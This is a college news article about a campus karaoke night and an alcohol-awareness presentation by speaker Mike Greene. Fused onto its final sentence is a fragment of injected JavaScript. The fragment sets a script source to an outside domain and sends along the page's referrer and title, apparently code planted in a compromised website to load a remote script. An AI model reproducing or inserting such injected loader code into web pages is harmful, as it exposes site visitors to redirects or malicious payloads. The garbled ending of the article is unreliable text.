The evening of September 24, 2014, saw CAC’s Signal Peak Campus hosting two separate events that comprised of activities that traditionally go hand-in-hand. Starting at 6 pm that evening, the vaquero lounge hosted a karaoke night and participants sang their hearts out to some of their favorite old school jams A diverse group of students attended and there was an equally diverse set list of songs featured. “I do not sing and I have no interest in getting on that stage, but I like it because it is very interesting to see who chooses what song because music taste can say a lot about a person,” stated Emilee Peters, a student who attended the event.

Songs and Artists ranged from up beat pop songs, to soulful R&B, to good ol’ country, to old school rock & roll to even Hakuna Matata from Disney’s Lion King. It gave students a great way to express themselves through melodies as well as meet and socialize with new people who share music tastes and interests. The student lounge is a much friendlier and much safer environment than that of a bar, which karaoke is commonly associated with. A big thanks is owed to student leadership, for the safe and sober good time.

Meanwhile, starting only an hour later, Mike Greene was ironically doing an alcohol awareness presentation to a huge portion of the resident student population. Alcohol and singing karaoke often seem to be the perfect mix – but not on campus. He was very funny and straight to the point, lecturing on the dangers of alcohol. It was not a traditional “lecture” that we all think of, where people struggle to keep their eyes open while barely following the main topic of conversation. Instead, a cafeteria full of students sat upright and gave their full attention to “Greenie” who lectured lightheartedly about the real dangers of alcohol abuse, a common problem that has been plaguing college campuses for many generations now.

He was very serious about the dangers of alcohol, pointing out that it is not only “alcoholics” who are negatively affected by the life-lessoning liquid but also anyone who uses it. He spoke in a successfully humorous tone that students responded to with positivity. He had comical stories from his past experiences with drunken student behavior, but he also pointed out the not so funny aspects of the stories that still haunt the subjects later in life; such as arrests and blemishes on permanent records. All jokes aside, he also had some very real, tragic stories of alcohol fueled destruction to balance it out.

Greene also talked about the importance of students’ taking care of one another, because it only takes one small mistake to change your life forever. “Greenie” has been a guest speaker about alcohol and the problems it causes, on numerous campuses all over the country over many years and it is with good reason. Students left informed and with a different mindset to their previous beliefs on the seriousness of alcoholism, but not before the whole women’s basketball team got a picture with him on their way out!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;